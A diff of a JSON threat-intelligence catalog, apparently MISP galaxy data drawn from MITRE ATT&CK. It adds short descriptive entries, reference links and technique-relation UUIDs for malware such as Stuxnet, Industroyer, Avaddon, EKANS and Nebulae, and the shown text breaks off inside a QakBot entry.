+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "e2031fd5-02c2-43d4-85e2-b64f474530c2",
@@ -14912,7 +15606,7 @@
],
"refs": [
"https://attack.mitre.org/software/S0350",
- "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
+ "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"
],
"synonyms": [
"zwShell"
@@ -15204,6 +15898,470 @@
"uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb",
"value": "SHOTPUT - S0063"
},
+ {
+ "description": "[Nebulae](https://attack.mitre.org/software/S0630) Is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)",
+ "meta": {
+ "external_id": "S0630",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0630",
+ "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf"
+ ],
+ "synonyms": [
+ "Nebulae"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "22b17791-45bf-45c0-9322-ff1a0af5cf2b",
+ "value": "Nebulae - S0630"
+ },
+ {
+ "description": "[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)",
+ "meta": {
+ "external_id": "S0603",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0603",
+ "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ",
+ "https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01",
+ "https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf",
+ "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf"
+ ],
+ "synonyms": [
+ "Stuxnet",
+ "W32.Stuxnet"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6151cbea-819b-455a-9fa6-99a1cc58797d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "088f1d6e-0783-47c6-9923-9c79b2af43d4",
+ "value": "Stuxnet - S0603"
+ },
{
"description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)",
"meta": {
@@ -16868,6 +18026,146 @@
"uuid": "3049b2f2-e323-4cdb-91cb-13b37b904cbb",
"value": "Exodus - S0405"
},
+ {
+ "description": "[Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)",
+ "meta": {
+ "external_id": "S0640",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0640",
+ "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/",
+ "https://arxiv.org/pdf/2102.04796.pdf"
+ ],
+ "synonyms": [
+ "Avaddon"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "58c5a3a1-928f-4094-9e98-a5a4e56dd5f3",
+ "value": "Avaddon - S0640"
+ },
{
"description": "[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)",
"meta": {
@@ -17156,6 +18454,163 @@
"uuid": "ff8e0c38-be47-410f-a2d3-a3d24a87c617",
"value": "Gustuff - S0406"
},
+ {
+ "description": "[Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)",
+ "meta": {
+ "external_id": "S0604",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0604",
+ "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf ",
+ "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf ",
+ "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf "
+ ],
+ "synonyms": [
+ "Industroyer",
+ "CRASHOVERRIDE",
+ "Win32/Industroyer"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "e401d4fe-f0c9-44f0-98e6-f93487678808",
+ "value": "Industroyer - S0604"
+ },
{
"description": "[BBK](https://attack.mitre.org/software/S0470) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)",
"meta": {
@@ -17380,6 +18835,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ccde43e4-78f9-4f32-b401-c081e7db71ea",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "6a7aaab1-3e0a-48bb-ba66-bbf7665c0a65",
@@ -18370,6 +19839,92 @@
"uuid": "32f49626-87f4-4d6c-8f59-a0dca953fe26",
"value": "TEARDROP - S0560"
},
+ {
+ "description": "[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)",
+ "meta": {
+ "external_id": "S0605",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0605",
+ "https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/",
+ "https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/",
+ "https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html"
+ ],
+ "synonyms": [
+ "EKANS",
+ "SNAKEHOSE"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "00e7d565-9883-4ee5-b642-8fd17fd6a3f5",
+ "value": "EKANS - S0605"
+ },
{
"description": "[ViperRAT](https://attack.mitre.org/software/S0506) is sophisticated surveillanceware that has been in operation since at least 2015 and was used to target the Israeli Defense Force.(Citation: Lookout ViperRAT) ",
"meta": {
@@ -18481,6 +20036,480 @@
"uuid": "f666e17c-b290-43b3-8947-b96bd5148fbb",
"value": "ViperRAT - S0506"
},
+ {
+ "description": "[QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)",
+ "meta": {
+ "external_id": "S0650",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0650",
+ "https://success.trendmicro.com/solution/000283381",
+ "https://redcanary.com/threat-detection-report/threats/qbot/",
+ "https://securelist.com/qakbot-technical-analysis/103931/",
+ "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"
+ ],
+ "synonyms": [
+ "QakBot",
+ "Pinkslipbot",
+ "QuackBot",
